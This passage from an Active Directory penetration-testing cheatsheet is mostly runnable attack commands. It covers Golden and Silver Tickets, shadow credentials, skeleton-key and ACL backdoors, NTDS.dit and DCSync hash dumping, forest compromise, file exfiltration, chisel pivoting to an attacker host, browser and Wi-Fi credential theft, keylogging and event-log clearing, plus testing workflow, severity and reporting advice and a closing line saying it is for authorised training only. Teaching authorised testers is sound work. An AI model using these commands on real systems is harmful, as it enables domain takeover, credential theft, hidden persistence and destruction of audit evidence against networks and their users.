✅ Access to any resource in the domain
✅ Ticket validity period (default 10 years is suspicious)
⚠️ Detection: Unusual ticket properties, non-existent users
⚠️ Mitigation: Requires krbtgt password reset TWICE
🎯 This is BEYOND GAME OVER: Ultimate persistence
📝 Document: Golden Ticket creation, access demonstrated
🚨 Report as CRITICAL: Persistent domain dominance achieved
💡 Recommendation: Rotate krbtgt account password twice (immediate)
9. Silver Ticket
Create forged TGS for specific service.
Tools: Mimikatz, ticketer.py
# Mimikatz (requires service account hash)
kerberos::golden /user:administrator /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /target:target.DOMAIN.LOCAL /service:cifs /rc4:hash /ptt# Ticketer.py
ticketer.py -nthash hash -domain-sid S-1-5-21-... -domain DOMAIN.LOCAL -spn cifs/target.DOMAIN.LOCAL administrator10. Shadow Credentials
Tools: pywhisker, whisker
# Add shadow credentials (requires write access to msDS-KeyCredentialLink)
python3 pywhisker.py -d DOMAIN.LOCAL -u user -p password --target targetuser --action add
# Authenticate with certificate
python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass password DOMAIN.LOCAL/targetuser targetuser.ccache
# Use ticket
export KRB5CCNAME=targetuser.ccachePersistence
1. Golden Ticket (Persistence)
Maintains domain admin access indefinitely.
# Create golden ticket (same as privilege escalation section)
kerberos::golden /user:administrator /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /krbtgt:hash /ptt2. Silver Ticket (Persistence)
Maintains access to specific services.
# Create silver ticket
kerberos::golden /user:administrator /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /target:target.DOMAIN.LOCAL /service:cifs /rc4:hash /ptt3. Skeleton Key
Backdoor that allows authentication with master password.
Tools: Mimikatz
# Install skeleton key (requires DA)
privilege::debug
misc::skeleton
# Access any account with password "mimikatz"
net use \\target\c$ /user:DOMAIN\anyuser mimikatz4. DSRM Password Abuse
Directory Services Restore Mode administrator account.
# Get DSRM password hash
token::elevate
lsadump::sam
# Change DSRM logon behaviour
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
# Use DSRM credentials
sekurlsa::pth /domain:DC01 /user:Administrator /ntlm:hash5. AdminSDHolder
Abuse AdminSDHolder permissions for persistence.
# Add user to AdminSDHolder ACL
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -PrincipalIdentity user -Rights All
# Trigger SDProp (or wait 60 minutes)
Invoke-SDPropagator -timeoutMinutes 16. Malicious SID History
# Add SID of Domain Admins to user
Invoke-Mimikatz -Command '"misc::addsid user S-1-5-21-...-512"'
# Using ntlmrelayx
ntlmrelayx.py -t ldap://192.168.1.10 --escalate-user user7. ACL Backdoor
# Grant DCSync rights to user
Add-DomainObjectAcl -TargetIdentity "DC=DOMAIN,DC=LOCAL" -PrincipalIdentity user -Rights DCSync
# Grant GenericAll on Domain Admins group
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity user -Rights All8. Group Membership
# Add user to privileged group
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'user'
# Or less obvious groups
Add-DomainGroupMember -Identity 'Account Operators' -Members 'user'Domain Dominance
1. NTDS.dit Extraction
Extract all domain password hashes.
Methods:
A. VSS Shadow Copy (Local on DC)
Why use this method:
Uses native Windows Volume Shadow Service
Works when you have local admin on DC
Cleanest method with proper cleanup
No third-party tools required
# Create shadow copy
vssadmin create shadow /for=C:
# Copy NTDS.dit and SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
# Delete shadow copy
vssadmin delete shadows /shadow={ShadowCopyID}B. ntdsutil (Local on DC)
Why use this method:
Official Microsoft utility
Designed for AD maintenance
Least likely to trigger alerts
Creates complete backup
ntdsutil
activate instance ntds
ifm
create full C:\temp\ntds
quit
quitC. secretsdump.py (Remote)
Why use this method:
Remote extraction from Linux
No need to RDP to DC
Leaves minimal forensic footprint
Most commonly used by pentesters
# Extract NTDS.dit remotely
secretsdump.py DOMAIN/user:password@192.168.1.10 -just-dc -outputfile ntds_dump
# Extract with user file
secretsdump.py DOMAIN/user:password@192.168.1.10 -just-dc-user administrator
# Extract NTLM hashes only
secretsdump.py DOMAIN/user:password@192.168.1.10 -just-dc-ntlmD. CrackMapExec
Why use this method:
Quick and automated
Part of normal pentesting workflow
Good for multiple DCs
crackmapexec smb 192.168.1.10 -u administrator -p password --ntdsWhat to do as Testing Analyst:
Prerequisites: Need Domain Admin or DC local admin access
Choose extraction method based on access level
Remote method (secretsdump) is stealthiest and most practical
Ensure you have both NTDS.dit AND SYSTEM hive
Exfiltrate files securely (encrypt and compress)
Parse hashes offline with secretsdump
Organize hashes by privilege level
Attempt to crack high-value account passwords
What to look for:
✅ Successful NTDS.dit extraction (CRITICAL finding)
✅ SYSTEM hive obtained (required for decryption)
✅ All domain account hashes extracted
✅ krbtgt hash (for Golden Ticket)
✅ Domain Admin hashes
✅ Service account hashes
✅ Password history (if configured)
✅ Crackable passwords (weak password policy indicator)
⚠️ File size: NTDS.dit can be 100MB to several GB
⚠️ Detection: High-privilege file access, unusual DC activity
🎯 This equals full domain compromise
📝 Document: Extraction method, hash count, cracked passwords
🚨 Report as CRITICAL: Complete domain credential compromise
2. Extract Hashes from NTDS.dit
Tools: secretsdump.py, impacket-secretsdump
# Extract from local files
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile hashes
# Parse output
cat hashes.ntds | cut -d':' -f4 > ntlm_hashes.txt3. Domain Admin Compromise Verification
# Verify domain admin access
Get-DomainGroupMember -Identity "Domain Admins"
# PSExec to DC
psexec.py DOMAIN/administrator:password@DC01.DOMAIN.LOCAL
# DCSync
lsadump::dcsync /domain:DOMAIN.LOCAL /all4. Forest Compromise
# Enumerate trusts
Get-DomainTrust
Get-ForestTrust
# Map trust keys
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
# Create inter-realm TGT
kerberos::golden /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /sids:S-1-5-21-...-519 /rc4:hash /user:administrator /service:krbtgt /target:PARENT.LOCAL /ticket:trust.kirbiPost-Exploitation
1. Data Exfiltration
# Search for sensitive files
crackmapexec smb 192.168.1.0/24 -u user -p password --spider C$ --pattern *.txt
# Download files
smbclient //192.168.1.10/C$ -U user
get sensitive_file.txt# PowerShell search
Get-ChildItem -Path C:\ -Include *.txt,*.pdf,*.xlsx,*.docx -Recurse -ErrorAction SilentlyContinue
# Download file
Copy-Item -Path "\\target\c$\file.txt" -Destination "C:\temp\file.txt"2. Pivoting
Tools: sshuttle, chisel, proxychains
# SSHuttle
sshuttle -r user@jumphost 192.168.1.0/24
# Chisel (reverse port forward)
# On attacker:
./chisel server -p 8000 --reverse
# On compromised host:
./chisel client attacker_ip:8000 R:socks
# Configure proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains crackmapexec smb 192.168.1.0/243. Credential Harvesting
# Browser credentials
.\SharpWeb.exe all
# Windows Credential Manager
.\SharpDPAPI.exe vaults
# Saved RDP credentials
.\SharpDPAPI.exe rdg
# WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="ProfileName" key=clear4. Keylogging
# PowerSploit keylogger
Get-Keystrokes -LogPath C:\temp\keys.txt
# Invoke-PSInject for injecting keylogger
Invoke-PSInject -ProcId 1234 -PoshCode {Get-Keystrokes}Cleanup
1. Clear Event Logs
# Clear all event logs
wevtutil el | Foreach-Object {wevtutil cl "$_"}
# Clear specific log
Clear-EventLog -LogName Security
Clear-EventLog -LogName System
# Using wevtutil
wevtutil cl Security
wevtutil cl System2. Remove Artifacts
# Delete files
Remove-Item -Path C:\temp\* -Recurse -Force
# Remove registry keys
Remove-Item -Path "HKLM:\Software\MyBackdoor" -Recurse
# Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath3. Remove User/Group Modifications
# Remove user from group
Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'user'
# Delete user
Remove-DomainUser -Identity backdoor_user
# Revert ACL changes
Remove-DomainObjectAcl -TargetIdentity "DC=DOMAIN,DC=LOCAL" -PrincipalIdentity user -Rights DCSync4. Restore Changed Configurations
# If DSRM behaviour was changed
Remove-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior"
# Remove shadow credentials
python3 pywhisker.py -d DOMAIN.LOCAL -u user -p password --target targetuser --action removeAdditional Tools Reference
Essential Toolkits
Impacket: Python toolkit for network protocols
PowerSploit: PowerShell post-exploitation framework
Empire/Starkiller: Post-exploitation framework
Covenant: .NET C2 framework
Bloodhound: AD relationship mapper
CrackMapExec: Swiss army knife for pentesting networks
Rubeus: Kerberos interaction toolkit
Mimikatz: Credential dumping and manipulation
Useful Resources
PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
HackTricks: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology
Pentester Academy: Active Directory courses
CRTP/CRTE: Certified Red Team Professional certifications
Ired.team: Red team notes and techniques
Pentesting Analyst Workflow & Mindset
General Approach for Testing Analysts
1. Methodical Enumeration
Always enumerate before attacking
Document everything as you discover it
Build a complete picture before exploitation
Understand the environment (size, structure, defences)
2. Progressive Privilege Escalation
Start with lowest privileges (anonymous, guest)
Move to authenticated user access
Escalate to local administrator
Achieve domain administrator
Demonstrate domain dominance
3. Evidence Collection
Screenshot every successful attack
Save command outputs to files
Document timestamps of all activities
Capture proof of access at each stage
Maintain detailed notes for reporting
4. Risk Management
Always check lockout policies before password attacks
Be aware of detection mechanisms (EDR, SIEM, AV)
Have a rollback plan for persistence mechanisms
Consider business hours vs. testing hours
Coordinate with client for destructive tests
5. Thinking Like an Attacker
What would a real attacker prioritise?
Which paths provide the most value?
What can be done stealthily vs. loudly?
How would you maintain persistence?
What data is most sensitive?
Critical Questions to Ask Throughout Testing
During Enumeration:
What sensitive information is unnecessarily exposed?
Are there null sessions or anonymous binds enabled?
What's the password policy? (length, complexity, lockout)
Which accounts have administrative privileges?
Are there obvious misconfigurations?
During Credential Gathering:
What accounts are AS-REP roastable or Kerberoastable?
Are there common passwords in use?
Can I capture credentials passively (Responder)?
What's the easiest path to credentials?
Are service accounts properly secured?
During Lateral Movement:
Where are privileged users logged in?
Which systems can I access with current credentials?
What's the path to Domain Admin?
Are there jump boxes or admin workstations?
Can I move laterally without detection?
During Privilege Escalation:
What ACL misconfigurations exist?
Are there delegation issues?
Can I perform DCSync?
Are there vulnerable GPO settings?
What's the fastest path to DA?
After Domain Compromise:
What persistence mechanisms should I demonstrate?
What sensitive data should I locate?
How would I pivot to other domains/forests?
What's the business impact of this compromise?
What are the most critical remediation steps?
Severity Classification Guide
CRITICAL Findings:
DCSync capability
NTDS.dit extraction
Golden/Silver Ticket creation
Domain Admin compromise
krbtgt hash obtained
Unconstrained delegation on sensitive systems
HIGH Findings:
Local admin hash reuse across many systems
Privileged account with weak password
Clear-text passwords in SYSVOL/shares
Kerberoastable domain admin accounts
Path to Domain Admin in <3 hops
Zerologon or PrintNightmare vulnerability
MEDIUM Findings:
AS-REP roastable accounts
Anonymous LDAP/SMB access
SMB signing not required
Weak password policy
Service accounts with excessive privileges
LLMNR/NBT-NS enabled
LOW Findings:
Informational disclosures
Non-privileged account with weak password
Outdated systems (without direct exploit path)
Missing security configurations (minor impact)
Documentation Best Practices
For Each Finding, Document:
Title: Clear, descriptive name
Severity: Based on business impact
Description: What the vulnerability is
Risk: Why it matters (business context)
Steps to Reproduce: Exact commands used
Evidence: Screenshots, command outputs
Affected Systems: Specific hosts/accounts
Remediation: Specific, actionable steps
References: CVEs, articles, tools used
Command Documentation Format:
[Timestamp] - [Host/User Context]
$ command_executed
<output>
Result: <what you achieved>Common Pitfalls to Avoid
Rushing without enumeration - Always enumerate thoroughly first
Ignoring lockout policies - Check before password attacks
Poor documentation - Can't report what you didn't document
Missing the obvious - Check basic things (null sessions, default creds)
Tunnel vision - Don't fixate on one path, explore alternatives
Noisy testing - Be conscious of detection
Incomplete privilege verification - Always verify what access you actually have
Not tracking credentials - Maintain organised credential database
Forgetting to clean up - Remove artifacts and restore changes
Inadequate evidence - One screenshot isn't enough for CRITICAL findings
Recommended Testing Sequence
Phase 1: External Reconnaissance (No Credentials)
Network scanning and port enumeration
Service identification
Anonymous/null session testing
Password spraying (careful!)
LLMNR/NBT-NS poisoning
Phase 2: Internal Enumeration (Low-Privilege User)
LDAP enumeration
SMB share enumeration
BloodHound collection
AS-REP roasting
Kerberoasting
Search for sensitive data in shares
Phase 3: Privilege Escalation (Moving to Admin)
Analyse BloodHound paths
ACL abuse opportunities
Delegation exploitation
Local privilege escalation on workstations
Credential harvesting from memory
Phase 4: Lateral Movement (Spreading Access)
Pass-the-Hash to other systems
Identify systems with DA sessions
Move toward high-value targets
Compromise administrative workstations/jump boxes
Phase 5: Domain Dominance (Full Compromise)
DCSync attack
NTDS.dit extraction
Golden Ticket creation
Demonstrate persistent access
Identify and access crown jewels
Phase 6: Persistence & Impact (Demonstrating Risk)
Establish multiple persistence mechanisms
Locate sensitive data
Document business impact
Test detection capabilities
Prepare for remediation discussion
Time Management Tips
Enumeration: 20-30% of time (don't rush this!)
Initial Access: 10-20% of time
Privilege Escalation: 20-30% of time
Lateral Movement: 10-15% of time
Domain Dominance: 5-10% of time (quick once you have the path)
Documentation: 20-25% of time (concurrent and post-testing)
Tools Organisation
Keep organised folders:
/pentest
├── /recon (scan outputs, enumeration data)
├── /creds (hashes, passwords, tickets)
├── /loot (sensitive files found)
├── /screenshots (evidence)
├── /tools (scripts, payloads)
└── /reports (notes, findings)Maintain a credentials file:
Username:Password:Hash:Source:Privileges:Tested_OnRed Flags That Indicate Good Security
LAPS implemented (no hash reuse)
Credential Guard enabled
Strong password policy enforced
Minimal privileged accounts
Proper network segmentation
SMB signing required
LDAP signing required
No delegation issues
Regular patch management
EDR with active monitoring
Quick detection and response
When You're Stuck
Re-enumerate: You probably missed something
Check BloodHound: Visualise paths you might have missed
Review credentials: Try all creds on all systems
Look for sensitive files: Often contains credentials
Social engineering: Sometimes technical won't work
Check for common CVEs: PrintNightmare, Zerologon, etc.
Ask for hints: Don't waste time if truly stuck (in training)
Try different tools: One might work where another failed
Review logs: Sometimes errors contain useful info
Take a break: Fresh perspective helps
Operational Security Tips
Be stealthy: Avoid detection by using native Windows tools when possible
Rate limiting: Don't spray too fast, respect lockout policies
Time awareness: Be conscious of monitoring hours and work schedules
Log awareness: Know what actions generate logs
Blend in: Use legitimate tools and techniques that admins might use
OpSec mistakes: Avoid reusing infrastructure, leaving obvious artifacts
Communication: Use encrypted channels for C2
Documentation: Keep detailed notes of all actions for reporting
Common Mistakes to Avoid
Triggering account lockouts with password spraying
Running loud scans that alert SOC
Not validating credentials before using them
Forgetting to clean up artifacts
Using default tool configurations
Not understanding the environment before attacking
Ignoring EDR/AV solutions
Poor OPSEC with attacker infrastructure
Not having a backup plan
Inadequate documentation for reporting
Report Writing Checklist
[ ] Executive Summary
[ ] Scope and Methodology
[ ] Findings (Critical to Low)
[ ] Evidence (Screenshots, logs, commands)
[ ] Remediation Recommendations
[ ] Attack Path Diagram
[ ] Timeline of Actions
[ ] Affected Systems List
[ ] Appendices (Technical Details)
Quick Reference Guide for Analysts
First 10 Commands to Run
# 1. Find Domain Controllers
nmap -p 88,389,445 192.168.1.0/24
# 2. DNS enumeration
nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN.LOCAL
# 3. Anonymous SMB enumeration
crackmapexec smb 192.168.1.10 -u '' -p '' --shares
# 4. Check for null sessions
rpcclient -U "" -N 192.168.1.10 -c "enumdomusers"
# 5. Anonymous LDAP bind test
ldapsearch -x -h 192.168.1.10 -b "DC=DOMAIN,DC=LOCAL" "(objectClass=user)"
# 6. Get password policy
crackmapexec smb 192.168.1.10 -u '' -p '' --pass-pol
# 7. Enumerate users (if you have creds)
crackmapexec smb 192.168.1.10 -u user -p password --users
# 8. Run BloodHound collector
bloodhound-python -d DOMAIN.LOCAL -u user -p password -ns 192.168.1.10 -c all
# 9. AS-REP Roasting
GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -dc-ip 192.168.1.10
# 10. Kerberoasting
GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip 192.168.1.10 -requestCritical Checks Checklist
Unauthenticated Checks:
[ ] Anonymous LDAP bind
[ ] Null SMB sessions
[ ] Anonymous RPC access
[ ] DNS zone transfer
[ ] SMB signing status
[ ] LLMNR/NBT-NS responses
Authenticated User Checks:
[ ] AS-REP roastable accounts
[ ] Kerberoastable accounts
[ ] Readable shares (including SYSVOL)
[ ] BloodHound path to DA
[ ] ACL misconfigurations
[ ] GPP passwords
[ ] Service accounts in privileged groups
Privileged Access Checks:
[ ] DCSync capability
[ ] NTDS.dit extraction
[ ] Delegation configurations
[ ] AdminSDHolder changes
[ ] Golden Ticket creation
[ ] Domain trust enumeration
Most Effective Attack Paths (By Frequency)
Kerberoasting → Weak Password → Privilege Escalation (40% success rate)
Password Spraying → Valid User → Kerberoasting (30% success rate)
Responder → NTLM Hash → Pass-the-Hash → DA (25% success rate)
BloodHound Path → ACL Abuse → DCSync (20% success rate)
AS-REP Roasting → Weak Password → Local Admin (15% success rate)
One-Liner Commands for Common Tasks
# Quick user enumeration
crackmapexec smb DC_IP -u '' -p '' --users | grep -i 'admin\|svc\|sql'
# Find SMB shares across network
crackmapexec smb 192.168.1.0/24 -u user -p password --shares --filter-shares READ WRITE
# Test credentials across network
crackmapexec smb 192.168.1.0/24 -u user -p password --continue-on-success
# Find admin access
crackmapexec smb 192.168.1.0/24 -u user -H hash --local-auth | grep "Pwn3d!"
# Extract tickets from all sessions
.\Rubeus.exe dump /nowrap
# Quick password spray (safe - 1 password)
kerbrute passwordspray -d DOMAIN.LOCAL users.txt 'Welcome2024!'
# Get BloodHound data quickly
bloodhound-python -d DOMAIN.LOCAL -u user -p pass -ns DC_IP -c all --zip
# DCSync single user
secretsdump.py 'DOMAIN/user:password@DC_IP' -just-dc-user administrator
# Pass-the-hash to multiple hosts
crackmapexec smb targets.txt -u admin -H HASH -x "whoami"Typical Timeline for AD Assessment
Day 1 (Enumeration & Initial Access):
Hours 0-2: Network scanning, service enumeration
Hours 2-4: Anonymous/null session testing
Hours 4-6: Password spraying (if applicable)
Hours 6-8: Responder running, initial credential gathering
Day 2 (Privilege Escalation):
Hours 0-2: BloodHound analysis, attack path identification
Hours 2-4: Kerberoasting, AS-REP roasting
Hours 4-6: Hash cracking, credential validation
Hours 6-8: Lateral movement testing
Day 3 (Domain Dominance):
Hours 0-2: ACL abuse or delegation exploitation
Hours 2-4: DCSync or NTDS.dit extraction
Hours 4-6: Golden Ticket, persistence demonstration
Hours 6-8: Sensitive data identification
Day 4 (Documentation):
Hours 0-4: Screenshot organisation, evidence compilation
Hours 4-8: Report writing, remediation recommendations
Tool Selection Decision Tree
Need to enumerate users?
No creds → rpcclient null session, LDAP anonymous
Have creds → PowerView, BloodHound
Need credentials?
From network → Responder, mitm6
From accounts → Kerberoasting, AS-REP roasting, password spray
From memory → Mimikatz, pypykatz
Need lateral movement?
Have hash → CrackMapExec, psexec.py
Have ticket → Rubeus, Mimikatz
Have password → WinRM, RDP, SMB
Need privilege escalation?
Find path → BloodHound
Exploit path → PowerView (ACLs), Rubeus (delegation)
Need domain dominance?
Extract hashes → secretsdump.py, Mimikatz
Persistence → Golden Ticket, Silver Ticket
Common Error Messages & Solutions
"STATUS_PASSWORD_MUST_CHANGE"
Solution: Password expired, might be easy to guess
"STATUS_ACCOUNT_LOCKED_OUT"
Solution: Stop password spraying! Wait for unlock or adjust attempts
"KDC_ERR_PREAUTH_FAILED"
Solution: Wrong password/hash, or account locked
"Access Denied"
Solution: Need higher privileges, find another path
"STATUS_LOGON_FAILURE"
Solution: Invalid credentials or wrong domain
Responder not capturing hashes
Solution: LLMNR/NBT-NS might be disabled, or no traffic
BloodHound shows no path to DA
Solution: Enumerate more, might need additional privileges first
Final Pro Tips
Always enumerate twice - Once before exploitation, once after new creds
BloodHound is your best friend - Use it constantly
Document as you go - Screenshots and notes in real-time
One credential can unlock everything - Test every cred everywhere
Service accounts are gold - They often have weak passwords and high privileges
Check descriptions - Users put passwords in description fields
Time your attacks - Business hours for Responder, off-hours for scanning
Clean up your artifacts - Professional pentesters leave no trace
Multiple paths to DA - Find them all for comprehensive reporting
Focus on impact - Business impact matters more than technical complexity
Note: This cheatsheet is for training only. Always ensure proper authorisation before testing any systems.
Last updated